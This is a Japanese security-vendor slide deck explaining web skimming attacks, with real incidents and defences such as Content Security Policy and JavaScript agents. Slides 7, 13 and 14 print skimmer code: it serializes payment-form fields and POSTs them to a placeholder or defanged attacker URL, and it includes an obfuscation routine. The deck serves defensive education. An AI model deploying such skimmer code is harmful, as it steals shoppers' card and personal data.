• 検索結果がありません。

今知っておきたいリアルな Web スキミング の実態と対策について マクニカネットワークス株式会社 第 1 技術統括部第 3 技術部第 1 課 掛谷勇治 Copyright Macnica Networks Corp. All Rights Reserved. Copyright

N/A
N/A
Protected

Academic year: 2021

シェア "今知っておきたいリアルな Web スキミング の実態と対策について マクニカネットワークス株式会社 第 1 技術統括部第 3 技術部第 1 課 掛谷勇治 Copyright Macnica Networks Corp. All Rights Reserved. Copyright"

Copied!
37
0
0

読み込み中.... (全文を見る)

全文

(1)

Copyright © 2004-2020 Macnica Networks Corp. All Rights Reserved.

今知っておきたい

リアルな「Webスキミング」の実態と対策について

マクニカネットワークス株式会社

第1技術統括部第3技術部第1課

掛谷勇治

(2)

1

2

3

4

5

Agenda

Webスキミング攻撃とは?

近年のWebスキミング動向

国内でのWebスキミング事情

Webスキミング対策の考え方 その1

Webスキミング対策の考え方 その2

(3)

Question 1

(4)

▶Question#1

Webスキミング攻撃とは一体何?

▶ Answer

悪性スクリプト(スキマー)をWebサイトに改ざん設置し、

一般ユーザが入力する個人情報等を直接的に窃取する攻撃。

(5)

攻撃者

Webサイト

5

Question#1: Webスキミングとは - 従来型の情報漏洩

Webページ

マクニカ 太郎

氏名

神奈川県

住所

045-xxx-xxxx

電話番号

xxxx-xxxx-xxxx-xxxx

クレジットカード番号

xx/xx

有効期限

xxx

CVV

ユーザによって入力されるさまざまな情報(Form)

Webサーバ

DB

マクニカ太郎, 神奈川県, 045-xxx-xxxx...

マクニカ次郎, 神奈川県, 045-xxx-xxxx...

マクニカ三郎, 神奈川県, 045-xxx-xxxx...

⑤蓄積された個人情報DBにアクセスするために

インジェクション攻撃/脆弱性攻撃などを実施

攻撃者

クライアント

DBサーバ

①Webサイトアクセスし、WebサーバはWebページを返す

③フォーム情報を送信

④個人情報がDBに蓄積

②個人情報をFormに入力

データの流出区間(Webサイト⇒攻撃者)

Webサイトを保護するソリューションが有効(WAF/IDS/IPS)

(6)

攻撃者

Webサイト

Question#1: Webスキミングとは - クライアントサイドの脅威

Webページ

マクニカ 太郎

氏名

神奈川県

住所

045-xxx-xxxx

電話番号

xxxx-xxxx-xxxx-xxxx

クレジットカード番号

xx/xx

有効期限

xxx

CVV

ユーザによって入力されるさまざまな情報(Form)

Webサーバ

DB

マクニカ太郎, 神奈川県, 045-xxx-xxxx...

マクニカ次郎, 神奈川県, 045-xxx-xxxx...

マクニカ三郎, 神奈川県, 045-xxx-xxxx...

①事前にインジェクション攻撃/脆弱性攻撃等で

不正なスクリプト(スキマー

)をWebサーバへ設置

攻撃者

クライアント

DBサーバ

②Webサイトアクセスし、WebサーバはWebページ

+スキマー

を返す

③個人情報をFormに入力

④フォーム情報を送信

④個人情報がDBに蓄積

⑤スキマーは、Formの入力情報を収集し、攻撃者へ直接送信

(7)

合計金額:xxx円

「購入する」

商品1:xxxxxx

氏名

クレジット番号

有効期限

CVV

入力フォーム

住所

1.「購入する」ボタンのクリックイベントに、

スキミングイベントを追加登録

する。

click event

正規イベント

スキミング

イベント

1.スキミングイベントにて、

入力フォームの内容の取得( i )、データ送信( ii )

を行う

window.onload = function () {

jQuery("#submitButton").bind("mouseup touchend", function (a) {

/* スキミングイベント */

})

};

var n = {};

jQuery("#paymentForm").serializeArray().map(function (a) {

n[a.name] = a.value

});

var e = document.getElementById("personPaying").innerHTML;

n.person = e;

var t = JSON.stringify(n);

setTimeout(function () {

jQuery.ajax({

type: "POST", async: 0, data: t, dataType: "applicaton/json"

url: “ドロップサーバのURL",

})

}, 500)

①ユーザがページへアクセスして、ページが読み込まれたとき

②ユーザが入力フォームに情報入力し、「購入する」ボタンをクリックしたとき

i

ii

2.正規イベントのほうで、通常の購入処理が行われる

Question#1: Webスキミングとは - スキマーの仕組み

(8)

Question#1: Webスキミングとは - 被害事例

被害事例 British Airways

観測時期・対象

2018年8月21日~同年9月5日 British Airways

詳細

Webサイトで使用していたサードパーティライブラリ”Modernizer”が改ざんされ、スキマーが設置。

被害内容

38万件の顧客情報流出

250億円を超えるGDPR制裁

被害者による補償を求めた集団訴訟

その他の被害事例

https://www.riskiq.com/blog/labs/magecart-british-airways-breach/

時期

原因

影響

Magentoを

使用したサイト

2016年

Magentoソフトウェアの脆弱性

Magentoソフトウェアを利用する

多くのECサイト

ticketmaster

2018年6月

支払いサイトに機能を提供する

Inbentaサードパーティの侵害

800以上のECサイト

(9)

▶Question#1

9

Webスキミング攻撃とは一体何?

▶ Answer

悪性スクリプト(スキマー)をWebサイトに改ざん設置し、

一般ユーザが入力する個人情報等を直接的に窃取する攻撃。

JavaScriptを使って下記のようなことを基本的に行う。

フォーム入力情報の収集。

攻撃者のサーバへデータを送信。

(10)

Question 2

何故、近年Webスキミング攻撃が

注目されているの?

(11)

▶Question#2

11

何故、近年Webスキミング攻撃が注目されているの?

▶ Answer

社会情勢的な背景。

攻撃者間でのマーケットの存在。

(12)

洗練されたスキマーの登場

日本国内での注意喚起(例:経済産業省)

https://www.meti.go.jp/press/2019/12/20191220013/20191220013.html

Question#2: Webスキミングが注目される理由 - 攻撃動向

様々な亜種型スキマーが開発され、実際に使用されている。

国内のWebサイトもターゲットにされている。

(13)

var

_$_c509

= (

function

(

o

,

b

) {

//2-1 文字列の配列化

var

d

=

o

.

length

var

p

= [];

for

(

var

f

=

0

;

f

<

d

;

f

++) {

p

[

f

] =

o

.

charAt

(

f

) };

//2-2 シードから数学的な処理を行い

//配列の順序を変更

for

(

var

f

=

0

;

f

<

d

;

f

++) {

var

n

=

b

* (

f

+

375

) + (

b

%

35519

);

var

h

=

b

* (

f

+

172

) + (

b

%

22319

);

var

a

=

n

%

d

;

var

q

=

h

%

d

;

var

e

=

p

[

a

];

p

[

a

] =

p

[

q

];

p

[

q

] =

e

;

b

= (

n

+

h

) %

3006963

//シードの更新

};

//2-3 配列の結合/分割処理を繰り返す

//(そのまま結合し、%で区切り、DELで結合し、#1で区切り、%で結合し、#0で区切り、#で結合し、DELで区切る)

var

c

=

String

.

fromCharCode

(

127

); //DEL

var

m

=

''

;

var

g

=

'

¥x25

;

//%

var

j

=

'

¥x23¥x31

;

//#1

var

l

=

'

¥x25

;

//%

var

i

=

'

¥x23¥x30

;

//#0

var

k

=

'

¥x23

;

//#

return

p

.

join

(

m

).

split

(

g

).

join

(

c

).

split

(

j

).

join

(

l

).

split

(

i

).

join

(

k

).

split

(

c

);

})

(

"cae%<4/=itnoveaentc>c>

¥¥

eons0e0tr

¥"

tid-olNnoA d0hnpd=li/ea:s

¥"

smcnrcsItpiievkeo>

Ct>ta%=ft/ue/

¥"

_2rce]>03fdyny%nke<e%m2o2g/metv>/%p<r_eioldtoivpiyoph%2edfornmue

¥"

Eo=%_<

¥"

8d>a<

¥

(略)

,

73353

);

処理内容

1.

可読不可な

文字列

シード

2.即時関数

2-1.

文字列の

配列化

2-2.

シードから

数学的な処理を行い

配列の順序を変更

2-3.

配列の

結合/分割

処理を

繰り返す

3.

変数_$_c509に

スキミング攻撃の為

のパラメータ名や関

数名が含まれた配列

が格納される

//↑1.可読不可な文字列

//↑1.シード

Question#2: Webスキミングが注目される理由 - 攻撃動向

(14)

今回のスキマー 変数_$_c509 抜粋

var n = {};

jQuery("#paymentForm").serializeArray().map(function (a) {

n[a.name] = a.value

});

var e = document.

getElementById

("personPaying").innerHTML;

n.person = e;

var t = JSON.

stringify

(n);

setTimeout(function () {

jQuery.

ajax

({

type: "

POST

", async: 0, data: t, dataType: "applicaton/

json

"

url: “

攻撃者のURL

",

})

}, 500)

2018年 British Airwaysで使用されたスキマー

British Airwaysで使用されたスキマーと行っている処理は同じである

しかし、

機能や難読化の観点ではより洗練されている

2 “getElementById”

//InputやFormへのアクセス

47 “stringify”

//シリアライズ化

48 “hxxps://payprocessos.net” //攻撃者のURL

49 "POST”

//データ送信時のメソッド

50 "json"

//Content-typeの指定

51 "ajax"

//JQuery.ajax

Question#2: Webスキミングが注目される理由 - 攻撃動向

(15)

なぜ、より複雑なスキマーが登場するのか?

シグネチャベースによる検出の回避、アンチリバースエンジニアリング

スキマー生成ツールの利用

スキマーを販売することで金銭を獲得しようとする層の存在(高度化なスキマー=高く売れる!)

誰でもWebスキミング攻撃可能に!

攻撃ツールの開発・販売で

金銭を獲得しようとする人

攻撃ツールが

欲しい攻撃者

開発できる攻撃者

攻撃ツールを

①ツール&価値を提供

24/7サポート

脆弱性スキャナ付き

定期的なアップデート etc

個人情報が

欲しい第三者

現金化

Webサイト/一般ユーザ

②Webスキミング攻撃

③不正利用

④個人情報売買

Question#2: Webスキミングが注目される理由 - マーケット

(16)

▶Question#2

何故、近年Webスキミング攻撃が注目されているの?

▶ Answer

社会情勢的な背景。

Webビジネスの急速的な拡大と、それに追いつくために突貫的なWebサイトの乱立。

攻撃者間でのマーケットの存在。

スキマー販売で金銭獲得する人にとって、高機能なスキマー開発は、高い現金化へつながる。

(17)

Question 3

とはいえ、国内での被害事例って

あまり聞いたことないよね?

(18)

▶Question#3

とはいえ、国内での被害事例ってあまり聞いたことないよね?

▶ Answer

(19)

「Webスキミング」という言葉や脅威の知名度はおそらく低い。

日本の場合、「Webスキミング被害」は「不正アクセス」で報告されることが多い。

報告文書をよく読むと、Webスキミング被害かそうでないか、およそ検討がつく。

クレジットカードの不正利用をきっかけにWebスキミング攻撃に気づくケースが多い。

Question#3: 国内でのWebスキミング事情

不正アクセスによるクレジットカード情報流出に関するお詫びとお知らせ

一部のクレジットカード会社から、当該サイトを利用したお客様のクレジットカード情報の流出懸念について連絡を受け、不正アクセスの可能性が疑わ

れたため、

原因

第三者によって不正アクセスされ、決済処理プログラムの改ざんが行われたため。

個人情報流出の可能性があるお客様

※下記画面にて、クレジットカード情報を入力し、決済されたお客様が対象となります。

「登録済みのカード情報を呼び出す」をクリックして決済をされたお客様は対象外でございます。

ある国内Webサイトの、情報流出に関するお詫びとお知らせ文書 抜粋

Webスキミング攻撃であったことが高いと推測可能。

4万人を超える情報漏洩であり、かなりの大きな被害がもたらされたと考えられる。

(20)

▶Question#3

とはいえ、国内での被害事例ってあまり聞いたことないよね?

▶ Answer

No! 言葉の浸透度や脅威の認知度と、脅威の浸透度は一致しない。

国内Webサイトで情報漏洩が発生した場合、不正アクセス被害として報告されるケースが多い。

小規模な被害事例から、比較的大規模な被害事例まで、国内でも発生している。

(21)

Question 4

とはいえ、従来通りのサーバセキュリティを

(22)

▶Question#4

従来通りのサーバセキュリティで、Webスキミング対策は可能?

▶ Answer

(23)

サードパーティライブラリを

外部ドメインから参照している。

もしこのライブラリが改ざんされると…。

https://www.macnica.net

(24)

サードパーティサイト

(スクリプトライブラリ、広告等)

Webサイト

Question#4: サーバサイド防御でWebスキミングは守れるか?

Webページ

マクニカ 太郎

氏名

神奈川県

住所

045-xxx-xxxx

電話番号

xxxx-xxxx-xxxx-xxxx

クレジットカード番号

xx/xx

有効期限

xxx

CVV

ユーザによって入力されるさまざまな情報(Form)

Webサーバ

攻撃者

DB

マクニカ太郎, 神奈川県, 045-xxx-xxxx...

マクニカ次郎, 神奈川県, 045-xxx-xxxx...

マクニカ三郎, 神奈川県, 045-xxx-xxxx...

①事前にインジェクション攻撃/脆弱性攻撃等で

不正なスクリプト(スキマー

)をWebサーバへ設置

攻撃者

クライアント

DBサーバ

②Webサイトアクセスし、WebサーバはWebページを返す

④個人情報をFormに入力

③追加リソース

+スキマーを送る

④個人情報がDBに蓄積

⑤スキマーは、Formの入力情報を収集し、攻撃者へ直接送信

Webサーバ

④フォーム情報

を送信

(25)

Question#4: サーバサイド防御でWebスキミングは守れるか?

version

ファイル数

1

1.12.4 (2016)

505

2

1.11.1 (2014)

138

3

1.11.3 (2015)

108

4

1.7.2 (2012)

101

5

1.8.3 (2012)

98

6

1.7.1 (2012)

85

7

1.10.2 (2013)

78

8

1.9.1 (2013)

75

9

1.11.2 (2014)

72

10

1.11.0 (2014)

53

1

10

100

1000

1.

1.

2

(2

00

7)

1.

1.

4

(2

00

7)

1.

2

(2

00

7)

1.

3

(2

00

9)

1.

5

(2

01

1)

1.

6

(2

01

1)

1.

7

(2

01

1)

1.

8

(2

01

2)

1.

8

(2

01

2)

1.

10

.1

(2

01

3)

1.

10

.2

(2

01

3)

1.

11

.0

(2

01

4)

1.

11

.1

(2

01

4)

1.

11

.2

(2

01

4)

1.

11

.3

(2

01

5)

1.

12

.0

(2

01

6)

1.

12

.1

(2

01

6)

1.

12

.2

(2

01

6)

1.

12

.3

(2

01

6)

1.

12

.4

(2

01

6)

1.

2.

1

(2

00

7)

1.

2.

2

(2

00

8)

1.

2.

3

(2

00

8)

1.

2.

6

(2

00

8)

1.

3.

1

(2

00

9)

1.

3.

2

(2

00

9)

1.

4.

1

(2

01

0)

1.

4.

2

(2

01

0)

1.

4.

3

(2

01

0)

1.

4.

4

(2

01

0)

1.

5.

1

(2

01

1)

1.

5.

2

(2

01

1)

1.

6.

1

(2

01

1)

1.

6.

2

(2

01

1)

1.

6.

3

(2

01

1)

1.

6.

4

(2

01

1)

1.

7.

1

(2

01

2)

1.

7.

2

(2

01

2)

1.

8.

0

(2

01

2)

1.

8.

1

(2

01

2)

1.

8.

2

(2

01

2)

1.

8.

3

(2

01

2)

1.

9.

0

(2

01

3)

1.

9.

1

(2

01

3)

2.

1.

1

(2

01

4)

2.

1.

3

(2

01

4)

2.

1.

4

(2

01

5)

2.

2.

0

(2

01

6)

2.

2.

1

(2

01

6)

2.

2.

2

(2

01

6)

2.

2.

3

(2

01

6)

2.

2.

4

(2

01

6)

3.

1.

0

(2

01

6)

3.

1.

1

(2

01

6)

3.

2.

1

(2

01

7)

3.

3.

1

(2

01

8)

3.

4.

1

(2

01

9)

JQ

U

ER

Y.

JS

F

IL

ES

VERSION

jQuery1.x

jQuery使用状況 (2020年1月時点 n=1950 files)

(26)

▶Question#4

従来通りのサーバセキュリティで、Webスキミング対策は可能?

▶ Answer

No! サプライチェーン攻撃には対応できない。

FW/IPS/IDS/WAF/改ざん検知などの導入によって、自分たちのWebサーバへのスキマー設置

攻撃を防御することは可能。

スキマーが外部から侵入してくるケースや、サードパーティライブラリの中にそもそも埋め込

まれているようなケースでは防御ができない。

しかも、ほとんどのWebサイトはサードパーティライブラリの管理が雑である。

(27)

Question 5

(28)

▶Question#5

結局のところ、どのように対策をとればよいの?

▶ Answer

サーバサイドのセキュリティ対策は今まで通りしっかりと。

(29)

④Webスキミング

③スキマー設置攻撃

②スキマー準備

①偵察

スキマー準備

新規スキマーの作成

既存スキマーの流用

スキマーの売買

など

既知攻撃手法の実行

XSS

ソフトウェア脆弱性

ミドルウェア脆弱性

プラットフォーム設定ミス

(公開範囲のミス等)など

Webスキミング

ユーザがWebサイトへアク

セスし、Webスキミングに

よって情報窃取

狙う価値があるから狙う

標的性の高い目的の場合

攻撃対象の構造、脆弱性の調査

脆弱で狙いやすいから狙う

標的性の低い目的の場合

脆弱性スキャンサービスの利用等

脆弱なサイトを探していく

スキマーを

作らせない

設置させない

スキマーを

読み込ませない

スキマーを

(スキマー実行をトリガーに)

スキマーに気づく

(改ざん攻撃をトリガーに)

データを流出させない

スキマーに気づく

各フェースで対策を行い、多層的に防御することがベストではあるが、

Webスキミングに特化した対策を取り入れるのは必須

(サプライチェーンアタック対策不可)

サーバサイドセキュリティ

(サプライチェーンアタック対策可)

クライアントセキュリティ

特に対策しなければならない部分

Question#5: Webスキミング対策

(30)

Content Security Policy(CSP) based

JavaScript Agent based

ブラウザ標準機能であるCSPを使用

Domain Allowlist型セキュリティ

個人実装可能だが、導入までのハードルが高いため、

導入支援ソリューションを使用するケースが多い

基本コンセプト

スキマーをダウンロードさせない

データ流出をさせない

1. Webサイトのベースラインを作成する。

どのようなリソースへのアクセスが発生するのか

不審な宛先のリソースはないか

2. ベースラインを基にCSPやを作成する。

CSP:指定ドメインへのリソースアクセスのみ許可

3. クライアントはHTTP Response Header経由で

1. JavaScript AgentをWebサイトへ埋め込んでおく。

2. クライアントがWebサイトへアクセスすると、

JavaScript Agentが読み込まれ、他のJavaScriptが行う

様々なアクションに介入できるようになる。

3. 他のJavaScriptが実行され、攻撃につながる可能性のある

メソッドが呼び出されると、割り込んで検査を実施。

攻撃を検知するJavaScript agentをWebページに設置

セキュリティモデルは様々

個人実装は不可のため、ソリューション依存

基本コンセプト(例)

スキマーを実行させない

データを流出させない

Question#5: Webスキミング対策 - アプローチに関する動向

VS

(31)

31

Content Security Policy based

クライアントブラウザに対して、サードパーティドメインへのアクセスを制限させる標準機能を使用。

https://developer.mozilla.org/ja/docs/Web/HTTP/CSP

①HTTP Request

②HTTP Response

HTTP Response Header

"content-security-policy:

default-src www.example.com"

Webサーバ

④CSPで許可されている外部ドメインのため、

リソース取得のためにHTTP Request

サードパーティ

www.example.com

⑥CSPで許可されていない外部ドメインのため、

ブラウザはアクセスしない

③ブラウザはCSPをチェック

クライアント端末

(ブラウザ)

攻撃者のサーバ

www.malicious.com

⑤HTTP Response

(32)

Question#5: Webスキミング対策 - JavaScript based

JavaScript based

例)

攻撃のために使われるメソッドが呼び出された際、割り込んで検査できるようにする。

windowオブジェクト

fetch = new Proxy()

JavaScript

windowオブジェクト

メソッド

fetch

JavaScript

fetch("https://www.example.com")

(33)

▶Question#5

33

結局のところ、どのように対策をとればよいの?

▶ Answer

サーバサイドのセキュリティ対策は今まで通りしっかりと。

クライアントサイドセキュリティの実装(≠Endpoint Security)

クライアントに対して、スキマーを読み込ませないように強制する。

クライアントに対して、攻撃者へのドメインにアクセスさせないように強制する。

(34)
(35)

まとめ

Webスキミングとは何か?

なぜ特化した対策が

必要なのか?

どのように

対策していけばよいのか?

悪意のあるスクリプト(スキマー)をWebページやサードパーティに改ざん設置し、

クライアントによって入力される個人情報を、クライアントから直接窃取する攻撃。

従来型のWebサーバを守るといったサーバサイドセキュリティ(FW,IPS,IDS,WAF)

では完全な対策をとることができないため。

不審なスクリプトを実行させない、不審な宛先へアクセスさせないように

Webサーバからクライアント側へ強制させる技術を導入する。

「クライアント側にセキュリティ機能を持たせる」という考え方。

Webスキミングの動向

Webスキミング手法は年々高度化している。

国内でも大規模被害が少しずつ発生しているが、認知度が高くないこともあり、

この攻撃に対する危機意識を持っていないWebサイトが多い。

(36)

Macnica Security Forum 2021

5/17(月)から1週間オンラインのセキュリティイベ

ントを開催します。

Webセキュリティをテーマにしたセッションもご紹介

しておりますので、ご興味のある方は、是非ご参加く

ださい。

(Webスキミングに関して、Web資産を守る観点や、

実際の防御ソリューションの紹介も致します)

「マクニカネットワークス」で検索して頂くとTOPに

バナーがありますので、そこから事前登録をお願いい

たします。

事前登録リンク

(37)

参照

関連したドキュメント

名刺の裏面に、個人用携帯電話番号、会社ロゴなどの重要な情

第 1 項において Amazon ギフト券への交換の申請があったときは、当社は、対象

東京都は他の道府県とは値が離れているように見える。相関係数はこう

サーバー費用は、Amazon Web Services, Inc.が提供しているAmazon Web Servicesのサーバー利用料とな

漏洩電流とB種接地 1)漏洩電流とはなにか

携帯電話の SMS(ショートメッセージサービス:電話番号を用い

第20回 4月 知っておきたい働くときの基礎知識① 11名 第21回 5月 知っておきたい働くときの基礎知識② 11名 第22回 6月

住所」 「氏名」 「電話番号(連絡 先)」等を明記の上、関西学院 大学教務部生涯学習課「 KG 梅田ゼミ」係(〒662‐8501西 宮 市 上ケ原 一 番 町 1 - 1 5